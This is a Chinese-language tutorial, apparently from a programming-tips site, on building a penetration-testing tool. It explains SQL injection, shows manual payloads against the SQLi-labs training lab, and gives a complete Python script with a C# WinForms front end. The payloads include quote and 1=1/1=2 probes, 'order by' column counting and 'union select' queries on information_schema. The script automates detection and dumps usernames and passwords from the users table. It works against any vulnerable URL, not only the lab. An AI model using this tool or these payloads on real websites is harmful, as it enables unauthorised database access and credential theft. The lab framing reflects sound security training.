首页 > 编程语言 > 用C语言winform编写渗透测试工具实现SQL注入功能
2022
08-19

用C语言winform编写渗透测试工具实现SQL注入功能

用C语言winform编写渗透测试工具使SQL注入

一、SQL注入

原理:

SQL注入是指攻击者在Web应用程序中事先定义好的查询语句的结尾加上额外的SQL语句,这些一般都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。(危害:盗取网站敏感信息、绕过验证登录网站后台、借助数据库的存储过程进行权限提升等操作)。造成的原因是程序员在编写Web程序时,没有对浏览器提交的参数进行严格的过滤和判断,用户可以构造参数,提交SQL查询语句,并传递到服务器端,从而获取敏感信息。

方法:

  • 确定Web应用程序使用的技术:与设计语言或者硬件关系密切,工具Nessus、AWVS、APPScan;
  • 确定所有可能的输入方式:攻击者可以通过隐藏的HTML表单输入、http头部、cookies、后端AJAX请求来跟WEB应用进行交互,使用web代理如Burp;
  • 查找可以用于注射的用户输入:多多留意web应用的错误页面。

常使用的方法:

  • “单引号”法:第一种检测SQL注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。
  • 1=1和1=2法:直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。

二、实现步骤

搭建靶场环境

  • 搭建SQLi-labs靶场环境,网上也有很多教程,可以参照sqli-labs下载与安装进行搭建。搭建后进入Less-1。

  • 为测试环境搭建成功,首先Less-1后跟随?id=1的参数,若成功返回结果,代表环境可以使用。

  • SQLi-labs靶场环境中有许多注入方式可以练习,包括get显错注入、get盲注、post显错注入、post盲注等,这里主要针对get显错注入,后面的编写的脚本也是针对get显错注入。首先尝试id的值为一些特殊的符号(如单引号'、双引号"、括号)、反斜线/等),输入?id=1',发现报错,说明此处可能有注入点,同时确认数据库为MYSQL数据库。

  • 使用order by判断字段数,通过输入?id=1' order by 1 --+,页面返回正常信息,再输入?id=1' order by 2 --+,一直到id=1' order by 4 --+,页面报错,这时候我们就可以知道此表中有3列数据。

  • 使用union select联合查询方式获得库名、表名、字段名。首先输入id=0' union select 1,user(),database() --+,得到用户名和使用数据库的库名。

  • 获取表名时需要借助MySQL数据库中系统库information_schema,使用group_concat()来获取正在使用的库中有哪些表传入的参数,具体用法为传输参数?id=0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() --+,获得当前数据库使用的表名。

  • 使用同样的方法id=0' union select 1,group_concat(username),group_concat(password) from users--+,获得获取字段名。

  • 利用group_concat()获取字段值,具体为传输参数?id=0' union select 1,group_concat(username),group_concat(password) from users--+获得用户名和密码。

三、代码实现

使用python编写脚本实现自动注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
import time
import sys
from urllib import request
from bs4 import BeautifulSoup
 
def log(content):
    this_time = time.strftime('%H:%M:%S', time.localtime(time.time()))
    print('[' + str(this_time) + '] ' + content)
 
def send_request(url):
    # log(url)
    res = request.urlopen(url)
    result = str(res.read().decode('utf-8'))
    return result
 
def can_inject(test_url):
    test_list = ['%27', '%22']
    for item in test_list:
        target_url1 = test_url + str(item) + '%20' + 'and%201=1%20--+'
        target_url2 = test_url + str(item) + '%20' + 'and%201=2%20--+'
        result1 = send_request(target_url1)
        result2 = send_request(target_url2)
 
        soup1 = BeautifulSoup(result1, 'html.parser')
        fonts1 = soup1.find_all('font')
        content1 = str(fonts1[2].text)
 
        soup2 = BeautifulSoup(result2, 'html.parser')
        fonts2 = soup2.find_all('font')
        content2 = str(fonts2[2].text)
 
        if content1.find('Login') != -1 and content2 == None or content2.strip() == '':
            log('Use ' + item + ' -> Exist SQL Injection')
            return True, item
        else:
            log('Use ' + item + ' -> Not Exist SQL Injection')
    return False, None
 
def test_order_by(url, symbol):
    flag = 0
    for i in range(1, 100):
        log('Order By Test -> ' + str(i))
        test_url = url + symbol + '%20order%20by%20' + str(i) + '--+'
        result = send_request(test_url)
        soup = BeautifulSoup(result, 'html.parser')
        fonts = soup.find_all('font')
        content = str(fonts[2].text)
        if content.find('Login') == -1:
            log('Order By Test Success -> order by ' + str(i))
            flag = i
            break
    return flag
 
def get_prefix_url(url):
    splits = url.split('=')
    splits.remove(splits[-1])
    prefix_url = ''
    for item in splits:
        prefix_url += str(item)
    return prefix_url
 
def test_union_select(url, symbol, flag):
    prefix_url = get_prefix_url(url)
 
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'
 
    for i in range(1, flag):
        if i == flag - 1:
            test_url += str(i) + '%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    for i in range(1, flag):
        if content.find(str(i)) != -1:
            temp_list = content.split(str(i))
            return i, temp_list
 
def exec_function(url, symbol, flag, index, temp_list, function):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'
 
    for i in range(1, flag):
        if i == index:
            test_url += function + ','
        elif i == flag - 1:
            test_url += str(i) + '%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]
 
def get_database(url, symbol):
    test_url = url + symbol + 'aaaaaaaaa'
    result = send_request(test_url)
    if result.find('MySQL') != -1:
        return 'MySQL'
    elif result.find('Oracle') != -1:
        return 'Oracle'
 
def get_tables(url, symbol, flag, index, temp_list):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'
 
    for i in range(1, flag):
        if i == index:
            test_url += 'group_concat(table_name)' + ','
        elif i == flag - 1:
            test_url += str(i) + '%20from%20information_schema.tables%20where%20table_schema=database()%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]
 
def get_columns(url, symbol, flag, index, temp_list):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'
 
    for i in range(1, flag):
        if i == index:
            test_url += 'group_concat(column_name)' + ','
        elif i == flag - 1:
            test_url += str(i) + '%20from%20information_schema.columns%20where%20' \
                                 'table_name=\'users\'%20and%20table_schema=database()%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]
 
def get_data(url, symbol, flag, index, temp_list):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'
 
    for i in range(1, flag):
        if i == index:
            test_url += 'group_concat(id,0x3a,username,0x3a,password)' + ','
        elif i == flag - 1:
            test_url += str(i) + '%20from%20users%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0].split(',')
 
def do_sql_inject(url):
    log('Welcome To SQL Injection Tool')
    log('Check For SQL Injection......')
    result, symbol = can_inject(url)
    if not result:
        log('Target Url Not Exist SQL Injection -> Exit')
        return
    else:
        log('Test Order By And Union Select......')
        flag = test_order_by(url, symbol)
        index, temp_list = test_union_select(url, symbol, flag)
        database = get_database(url, symbol)
        version = exec_function(url, symbol, flag, index, temp_list, 'version()')
        this_database = exec_function(url, symbol, flag, index, temp_list, 'database()')
        log('Success -> ' + database.strip() + ' ' + version.strip())
        log('Database -> ' + this_database.strip())
        tables = get_tables(url, symbol, flag, index, temp_list)
        log('Tables -> ' + tables.strip())
        log('Default Use Table users......')
        columns = get_columns(url, symbol, flag, index, temp_list)
        log('Columns -> ' + columns.strip())
        log('Try To Get Data......\n\n')
 
        datas = get_data(url, symbol, flag, index, temp_list)
        temp = columns.split(',')
        print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
        for data in datas:
            temp = data.split(':')
            print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
 
if __name__ == '__main__':
    do_sql_inject(sys.argv[1]+'/?id=1')

编写windows客户端软件调用.py脚本
对于python脚本中包含第三方模块的情况,同样,通过直接创建Process进程,调用python脚本,返回扫描结果。

  • 创建按钮按下事件button1_Click,运行“调用python脚本”函数runPythonsql_inject()
1
2
3
4
5
6
private void button13_Click(object sender, EventArgs e)
       {
           richTextBox8.Clear();
           runPythonsql_inject();//运行python函数
           label39.Text = "开始扫描...";
       }
  • 实例化一个python进程 调用.py 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void runPythonsql_inject()
        {
            string url = textBox10.Text;
            p = new Process();
            string path = "sql_inject.py";//待处理python文件的路径,本例中放在debug文件夹下
            string sArguments = path;
            ArrayList arrayList = new ArrayList();
            arrayList.Add(url);//需要挖掘的域名
            foreach (var param in arrayList)//拼接参数
            {
                sArguments += " " + param;
            }
            p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //没有配环境变量的话,可以写"xx\xx\python.exe"的绝对路径。如果配了,直接写"python"即可
            p.StartInfo.Arguments = sArguments;//python命令的参数
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.CreateNoWindow = true;
            p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            p.Start();//启动进程
            //MessageBox.Show("启动成功");
            p.BeginOutputReadLine();
            p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_sql_inject);
            Console.ReadLine();
            //p.WaitForExit();
        }
  • 输出接收事件函数
1
2
3
4
5
6
7
8
9
10
11
void p_OutputDataReceived_sql_inject(object sender, DataReceivedEventArgs e)
        {
            var printedStr = e.Data;
            Action at = new Action(delegate ()
            {
                //接受.py进程打印的字符信息到文本显示框
                richTextBox8.AppendText(printedStr + "\n");
                label39.Text = "扫描结束";
            });
            Invoke(at);
        }

四、软件使用步骤

  • 首先在url栏中输入地址,点击开始查询,最后得到SQL注入信息。

github地址:https://github.com/Chenmengx/Penetration-testing-tool

以上就是用C语言winform编写渗透测试工具实现SQL注入功能的详细内容,更多关于C#winform实现SQL注入的资料请关注自学编程网其它相关文章!

编程技巧